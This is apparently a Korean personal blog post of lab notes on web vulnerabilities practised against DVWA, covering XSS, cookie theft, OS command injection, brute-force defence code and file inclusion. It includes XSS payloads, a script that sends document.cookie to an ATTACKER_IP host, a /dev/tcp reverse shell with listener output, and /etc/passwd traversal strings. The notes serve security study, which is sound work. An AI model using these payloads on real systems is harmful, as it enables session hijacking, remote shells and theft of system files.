웹 애플리케이션 보안 취약점

2026. 9. 12. 18:14·웹 · 앱

1. XSS (Cross Site Scripting)

취약점이 있는 웹사이트에 방문한 사용자의 브라우저에서 악의적인 HTML 태그나 자바스크립트가 동작하는 공격. 공격자가 작성한 스크립트가 피해자의 시스템(브라우저)에서 실행된다.

공격 코드를 요청 안에 심는 방식. 요청과 응답에 의해서 발생하는 공격 방식이기 때문에 서버에 저장되지 않는다.

공격 목적

  • 쿠키 훔치기 (세션 탈취)

  • 악성 코드 주소로 강제 이동

  • 페이지 변조 (Defacement)

  • 피해자 브라우저 제어

  • Common Payloads


1-1. Reflected XSS

개념

  • 웹 서버가 입력값을 검증 없이 그대로 응답에 반영(reflect)할 때 발생
  • 검색창, URL 파라미터 등 사용자 입력이 반영되는 모든 지점에서 공격 가능
  • 응답 페이지의 구조(태그, 위치)를 파악한 뒤 삽입 지점을 찾아 스캔

테스트/공격 페이로드 예시

html

"><marquee>xss</marquee>

"><script>alert("xss")</script>
<img src=@ onerror=alert("xss");>
<video src="1" onerror=document.location="http://naver.com">
<iframe src="https://121.190.160.232:81"></iframe>

경고창(alert)이 뜨면 해당 지점에 XSS 취약점이 존재한다고 판정한다.
">
xss

![](../Images/Pasted%20image%2020260731102012.png)



---

### 1-2. Stored XSS

**개념**

- 취약한 웹 서버에 악성 스크립트가 **영구적으로 저장**되어, 이후 해당 페이지를 조회하는 모든 사용자에게 실행되는 공격
- Reflected XSS보다 파급력이 크다 (게시판 웜 형태로 확산 가능)


---

### 1-3. 쿠키 탈취 공격 (Session Hijacking via XSS)

**기본 페이로드**

html

```html
"><script>alert(document.cookie)</script>

``
쿠키를 외부 서버로 전송하는 페이로드

<script>
document.write(
  "<iframe src=http://ATTACKER_IP:81/XSSAttack/1.asp?cookie=" 
  + document.cookie + " width=0 height=0></iframe>"
);
</script>

공격 시나리오

  1. 사용자가 취약한 게시판에 접속
  2. 삽입된 스크립트가 실행되어 쿠키가 탈취되고 공격자 서버의 txt 파일 등에 저장됨
  3. 공격자가 탈취한 쿠키 값으로 자신의 세션을 교체 → 계정 탈취(세션 하이재킹) 성공

실습 결과: 탈취된 세션 쿠키(ASPSESSIONIDCSTBCQTA=...) 값으로 로그인 세션을 대체하여 타 계정 접근이 가능했음을 확인.



**시나리오 1**
1. 사용자 게시판 접속
2. 쿠키 탈취되어 개별 txt에 쿠키 저장
3. 웹 서버에 다른 사용자 쿠키 값으로 변경 시 계정 탈취 가능

기존 로그인 정보값이 mmmm > asdqwe(hacker) 값으로 변경
아래는 탈취된 로그인된 계정이다.

![](../Images/Pasted%20image%2020260731112409.png)



---

### 1-4. DVWA 실습 (XSS Reflected)

**취약한 소스코드 (`vulnerabilities/xss_r/source/low.php`)**

```php
"><marquee>test</marquee>
# Reflected XSS Source

## vulnerabilities/xss_r/source/low.php

|   |
|---|
|`<?php      header ("X-XSS-Protection: 0");  //HTTP XSS 기능 비활성화 명령어 header
    // Is there any input?   if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {    // Feedback for end user    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';   }      ?>   `|

공격 시나리오

  • $_GET 이후 아무런 조치 없이 모든 input 값에 대하여 서버에 검증하는 도구도 없기 때문에 위에 기술된 공격 내용이 모두 적용된다.
  • Medium 방식도 단순하게 <script> 문자열을 포함하는 string 값에 대한 처리만 이루어지기 때문에 이외 모든 공격이 가능하다.
  • Impossible 값에도 비슷하게 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );에 대한 처리가 이루어지지만 사실상 특수문자를 기입하게 되면 그대로 XSS 공격이 가능하기 때문에 좋은 방어책이 아니게 보인다.

Document Object Model

  • innetHTML , document.write()
  • textContent innerText

    html 코드나 javascript 중 문자열 화면에 출력하는 메서드

OS command injection
사용자 입력값이 어플리케이션의 운영체제 명령어 실행 가능

리눅스
; 앞의 명령어가 끝나면 뒤 명령어가 실행되는 특수문자
& 앞의 명령어를 백그라운드로 실행하고 바로 뒤의 명령을 실행
&& 앞 명령어 성공 시 뒤 명령어를 실행
| 앞 명령어 출력을 뒤 명령어 input 값으로 넘김
|| 앞 명령어 실패 시 뒤 명령어를 실행

윈도우
& 앞 명령어가 끝나면 뒤 명령어를 실행하는 특수 문자
&& 앞 명령이 성공하면 뒤 명령어 실행
| 앞 명령어 출력을 뒤 명령어 input 값으로 넘김
|| 앞 명령어 실패 시 뒤 명령어를 실행

실습 1 — 기본 명령어 삽입

(ip); cat /etc/passwd

실습 2 — 리버스 쉘 획득 (DVWA + Kali Linux)

Kali Linux 측 (공격자, IP: 192.168.63.133)

ip a
ping 8.8.8.8
nc -lvnp 4444        # 4444번 포트 리스닝

DVWA Command Injection 입력

# Low
127.0.0.1; bash -i >&/dev/tcp/192.168.63.133/4444 0>&1

# Medium
127.0.0.1&;&id bash -i >&/dev/tcp/192.168.63.133/4444 0>&1

Kali에서 쉘 획득 결과

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.63.133] from (UNKNOWN) [192.168.63.134] 51206
bash: cannot set terminal process group (983): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ ls
help
index.php
source

취약한 웹 서버로부터 웹쉘(리버스쉘)을 성공적으로 획득한 사례.


자동화 공격

공격 방안

  • 무차별 대입 공격
  • 게시판에 글을 도배
  • 메일, sms 등 을 수백 건

DVWA Brute Force 로그인 방어 로직 요약

<?php  

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {    // Check Anti-CSRF token    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // Sanitise username input    $user = $_POST[ 'username' ];    $user = stripslashes( $user );    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    // Sanitise password input    $pass = $_POST[ 'password' ];    $pass = stripslashes( $pass );    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    $pass = md5( $pass );    // Default values    $total_failed_login = 3;    $lockout_time       = 15;    $account_locked     = false;    // Check the database (Check user information)    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );    $data->bindParam( ':user', $user, PDO::PARAM_STR );    $data->execute();    $row = $data->fetch();    // Check to see if the user has been locked out.    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {        // User locked out.  Note, using this method would allow for user enumeration!  
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";  

        // Calculate when the user would be allowed to login again        $last_login = strtotime( $row[ 'last_login' ] );        $timeout    = $last_login + ($lockout_time * 60);        $timenow    = time();        /*  
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";  
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";  
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";  
        */  

        // Check to see if enough time has passed, if it hasn't locked the account        if( $timenow < $timeout ) {            $account_locked = true;            // print "The account is locked<br />";        }  
    }    // Check the database (if username matches the password)    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );    $data->bindParam( ':user', $user, PDO::PARAM_STR);    $data->bindParam( ':password', $pass, PDO::PARAM_STR );    $data->execute();    $row = $data->fetch();    // If its a valid login...    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {        // Get users details        $avatar       = $row[ 'avatar' ];        $failed_login = $row[ 'failed_login' ];        $last_login   = $row[ 'last_login' ];        // Login successful        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";  
        echo "<img src=\"{$avatar}\" />";        // Had the account been locked out since last login?        if( $failed_login >= $total_failed_login ) {  
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";  
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";  
        }        // Reset bad login count        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );        $data->bindParam( ':user', $user, PDO::PARAM_STR );        $data->execute();  
    } else {        // Login failed        sleep( rand( 2, 4 ) );        // Give the user some feedback        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";        // Update bad login count        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );        $data->bindParam( ':user', $user, PDO::PARAM_STR );        $data->execute();  
    }    // Set the last login time    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );    $data->bindParam( ':user', $user, PDO::PARAM_STR );    $data->execute();  
}  

// Generate Anti-CSRF token  
generateSessionToken();  

?>
  • Sanitise password input
    • 사용자가 입력한 데이터나 외부 데이터에 해로운 문자나 악성코드(XSS 공격) 등 를 걸러내거나 안전한 형태로 바꾸는 과정 및 라이브러리를 말한다.
  • Reset bad login count
    • 지속적인 무차별 대입을 시도하면 sleep(rand(2,4))초 코드를 이용하여 로그인을 무차별적으로 대입하는 것을 방지

File Inclusion

웹 어플리케이션에 파일을 불러들이는 기능이 존재할때 서버 내부의 임의의 파일을 불러올 수 있으면 LFI 취약점이 있다. 서버 외부의 파일을 불러올 수 있으면 RFI 취약점이 있다. 특정 Window 혹은 Linux에 대한 공격을 대상으로 하고 있다.

취약한 소스코드

//기본 구조
../
..\
.././../

--Low 
../../../../../../../etc/passwd

Medium ..././..././..././..././..././..././..././etc/passwd
//solve (str.replace()함수 우회)

--High

//$file, 'include.php' string 값 차단
//file:// -> php에 내재된 Local file 접근 프로토콜


=https:/txt


-- Source Code
<?php  

// The page we wish to display  
$file = $_GET[ 'page' ];  

?>

핵심 용어 & 대상 경로

  • Path Traversal
    • 경로 조작/변경
  • 페이지 파라미터에 관한 어떤 검증 내용도 없다.
  • 공격 타입은 ../../../ , ./././
  • 주요 공격 대상 파일
    • ../etc/passwd
    • ../etc/hosts
    • /var/log/apache2/access.log
    • /var/log/httpd/access_log
  • 로컬 파일 접근 시 파일 이름을 파라미터로 접근할 때 접속하고자 하는 설정에 접근할 수 있다.

'웹 · 앱' 카테고리의 다른 글

웹 애플리케이션 보안 취약점 2  (0) 2026.09.13
DVWA  (0) 2026.09.11
딥링크(Deep Link) 개념  (0) 2026.08.15
Burp Suite로 HTTP 기초 세우기  (0) 2026.08.04
웹 · 앱 보안 실습  (0) 2026.08.03
'웹 · 앱' 카테고리의 다른 글
  • 웹 애플리케이션 보안 취약점 2
  • DVWA
  • 딥링크(Deep Link) 개념
  • Burp Suite로 HTTP 기초 세우기
돌아온무니
돌아온무니
게임 개발 육성 모험 RPG...!
  • 돌아온무니
    무니의 개발일지
    돌아온무니
  • 전체
    오늘
    어제
    • 분류 전체보기 (89)
      • C++ (16)
        • STL (3)
      • 자료구조 (3)
      • 알고리즘 (13)
        • DFS (1)
        • BFS (1)
      • 깨알 지식 (7)
        • 암호화 (4)
      • 코테 스터디 (2)
      • 운영체제 (8)
        • 공룡책 (4)
      • 악성코드 (3)
        • 스텍 프레임 변조 (3)
      • 네트워크 (2)
      • 게임수학 (8)
        • CK소프트렌더러 (4)
      • Unity (3)
        • Spine-unity (1)
      • Unreal Engine (3)
      • 웹 · 앱 (7)
      • 데이터베이스 (6)
      • Ansible (4)
      • Docker (0)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 최근 댓글

  • 최근 글

돌아온무니
웹 애플리케이션 보안 취약점
상단으로

티스토리툴바